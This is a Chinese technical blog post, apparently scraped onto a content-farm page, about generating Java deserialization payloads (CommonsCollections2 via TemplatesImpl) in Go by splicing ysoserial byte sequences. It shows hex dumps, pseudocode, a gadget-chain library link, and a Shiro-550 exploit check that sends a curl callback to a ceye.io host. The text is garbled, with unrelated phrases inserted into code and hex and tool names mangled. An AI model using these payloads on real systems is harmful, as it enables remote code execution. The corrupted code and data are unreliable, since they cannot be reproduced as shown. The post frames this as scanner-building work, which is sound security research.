首页 > 作文

java二进制表示(java代码大全及详解)

更新时间:2023-04-05 03:33:23 阅读: 评论:0

最近用go编写java反序列化相关的扫描器,遇到一个难点:如何拿到根据命令生成的payload

通过阅读已有开源工具的源码,发现大致有以下两种解决方案

执行命令法

使用命令执行ysorial.jar,例如一些python工具用system,popen等函数,拼接命令拿到输出

优点:最简单的实现,快速上手缺点:ysorial.jar过大,并且依赖java环境,并不是很方便

直接用java编写

很多工具直接采用java编写,生成payload的部分可以脱离ysorial.jar,结合反射和javaassist技术做进一步的处理

优点:用java来生成java的payload是最标准的缺点:必须由java编写的工具才可以

二进制角度构造

反序列化数据本身是有结构的,比如多次生成cc1的payload可以看到只有命令和命令前两字节有变化。前面两字节表示了命令的长度,所以我们直接拼接一下即可实现cc1

(图中0008表示命令长度,calc.exe是命令)

其实更多的payload并不是像cc1这么简单,比如构造templateimpl,过程较复杂

预备

笔者在ysorial的payloadrunner里写代码导出,并且打印一下hex,方便比较

private static final char[] hexcode = "0123456789abcdef".tochararray();public static string printhexbinary(byte[] data) {  stringbuilder r = new stringbuilder(data.length * 2);  for (byte b : data) {    r.append(hexcode[(b >> 4) & 0xf]);    r.append(hexcode[(b & 0xf)]);  }  return r.tostring();}public static void run(final class<? extends objectpayload<?>> clazz, fina残酷的近义词l string[] args) throws exception {  ......  fileoutputstream fos = new fileoutputstream("cc2.bin");  fos.write(r);  system.out.println(printhexbinary(r));  ......

分析过程

分析生成的cc2.bin需要用xxd命令:xxd cc2.bin

第一处关键点:

0000 069c表示后面cafe babe开头的class文件长度,以此可以确定payload固定的开头部分。开头部分命名为globalprefix,四字节的长度变量命名为datalen

(如何确认到这里:肉眼审计,排除看上去是常量或系统函数的地方)

00000340: 6767 db37 0200 0078 7000 0000 0275 7200  gg.7...xp....ur.00000350: 025b 42ac f317 f806 0854 e002 0000 7870  .[b......t....xp00000360: 0000 069c cafe babe 0000 0032 0039 0a00  ...........2.9..00000370: 0300 2207 0037 0700 2507 0026 0100 10当代神农氏课文73  .."..7..%..&...s

以此为根据找到class文件结束位置0x0364+0x069c=0x0a00,从0x364-0x0a00这一部分都是构造templatesimpl的二进制,观察到7571007e以后的部分都是常量,以此确认结尾部分是7571007e往后至结尾,命名为globalsuffix

000009f0: 0011 0000 000a 0001 0002 0023 0010 0009  ...........#....00000a00: 7571 007e 0018 0000 01d4 cafe babe 0000  uq.~............00000a10: 0032 001b 0a00 0300 1507 0017 0700 1807  .2..............00000a20: 0019 0100 1073 6572 6961 6c56 6572 7369  .....rialversi

继续从一开始的cafe babe审计至00000800: 000863616c632e657865,0008表示长度为8的命令calc.exe,以此确认从cafe babe开始的class文件的开头部分,命名为prefix

000007e0: 7469 6d65 0100 1528 294c 6a61 7661 2f6c  time...()ljava/l000007f0: 616e 672f 5275 6e74 696d 653b 0c00 2c00  ang/runtime;..,.00000800: 2d0a 002b 002e 0100 0863 616c 632e 6578  -..+.....calc.ex00000810: 6508 0030 0100 0465 7865 6301 0027 284c  e..0...exec..'(l

因此从0x0364-0x0806为常量:cafebabe…2b002e01

随后插入2字节的命令长度和命令本身,可以动态构造,分别命名为cmdlen和cmd

审计至0x0870,发现0x0871-0x087e和0x892-0x089f是两个相同的数字,长度14。经过多个操作系统的比较,发现这个数字可以是14,15表态性发言,16。这个数字来源是系统时间,作用只是一个随机id。所以我们可以生成随机的数字,随机数命名为randnum

在命令和随机数之间还有一部分多余的数据,我们将它命名为beforerand

中间拼接的部分是0x087f-0x0891,也就是01001f4c79736f73657269616c2f50776e6572,分割符命名为split(其实ysorial/pwner这个字符串也是可以随机的,但没必要再做)

00000850: 000d 5374 6163 6b4d 6170 5461 626c 6501  ..stackmaptable.00000860: 001d 7973 6f73 6572 6961 6c2f 5077 6e65  ..ysorial/pwne00000870: 7237 3833 3834 3833 3035 3434 3731 3601  r78384830544716.00000880: 001f 4c79 736f 7365 7269 616c 2f50 776e  ..lysorial/pwn00000890: 6572 3738 3338 3438 3330 3534 3437 3136  er78384830544716000008a0: 3b00 2100 0200 0300 0100 0400 0100 1a00  ;.!.............000008卡通帅哥b0: 0500 0600 0100 0700 0000 0200 0800 0400  ................

最后确认class文件的结尾部分,从0x08a0-0x09ff,固定格式3b002100…00100009,命名为suffix,至此可以成功构造出templatesimpl

3b002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d000000计算机二级报名费0600010000002f000e0000000c000100000005000f003800000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000034000e00000020000300000001000f0038000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000038000e0000002a000400000001000f003800000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c00000024000300020000000fa70003014cb8002f1231b6003557b1000000010036000000030001030002002000000002002100110000000a00010002002300100009

实现

通过上文中的命名,可以得出一个简化后的实现函数

func getcommonscollections2(cmd string) []byte {  ......  // datalen取决于templateimpl的大小  // 在templateimpl中构造命令  // 其他都是常量  templateimpl := gettemplateimpl(cmd)  datalen := calctemplateimpl(templateimpl)  ......  return globalprefix + datalen + templateimpl + globalsuffix}func gettemplateimpl(cmd string) []byte {  ......  // cmd由用户输入  // cmdlen可以计算得出  // randnum可以随机出  // 其他都是常量  cmdlen := caclcmdlen(cmd)  randnum := getrandnum(cmd)  ......  return prefix + cmdlen + cmd + beforerand + randnum + split + randnum + suffix}

测试

按照思路生成好之后,测试时先用ysorial生成数据,xxd命令阅读得到随机数,把变量randnum替换

然后生成payload进行判断,笔者调试过程遇到不少的坑,比如randnum忘记做hex.encode了

而其中cmdlen和datalen变量其实是无法一眼看出的,笔者能够确认是因为跑了多次ysorial,对比分析得出的结果

实践

笔者在github提交了比较完整的一个库:https://github.com/emyiqing/gosorial

该库支持了cc1-cc7,cck1-cck4,cb1这些链,并且经过了验证没有问题,可以做到ysorial的效果

初步确定生成的payload没问题,进一步确认需要靶机

这里用了vulhub的shiro550反序列化靶机,用curl命令结合ceye平台,成功触发

(下图为笔者用golang编写的shiro检测小工具,调用了gosorial的函数,成功执行)

randstr = tool.getrandomletter(20)payload = gosorial.getcc5("curl " + ceyeinfo.identifier + "/" + randstr)log.info("check %s", gadget.cc5)ndpayload(key, payload, target)if checkceyeresp(ceyeinfo, randstr) {    log.info("payload %s success", gadget.cc5)}

总结

整个过程不难,但需要耐心和眼力

其他的反序列化链换汤不换药,甚至tomcatecho也是类似的原理

因此安全开发者可以在不使用ysorial的情况下,直接动态生成payload

另外文中这种半猜半测试的实现方式不妥,有兴趣的大佬可以参考java底层反序列化的实现,对二进制数据做进一步的分析和构造

本文发布于:2023-04-05 03:33:21,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/zuowen/bcc57c5933664caa403f054b6e32264b.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

本文word下载地址:java二进制表示(java代码大全及详解).doc

本文 PDF 下载地址:java二进制表示(java代码大全及详解).pdf

标签:命令   命名为   都是   常量
相关文章
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图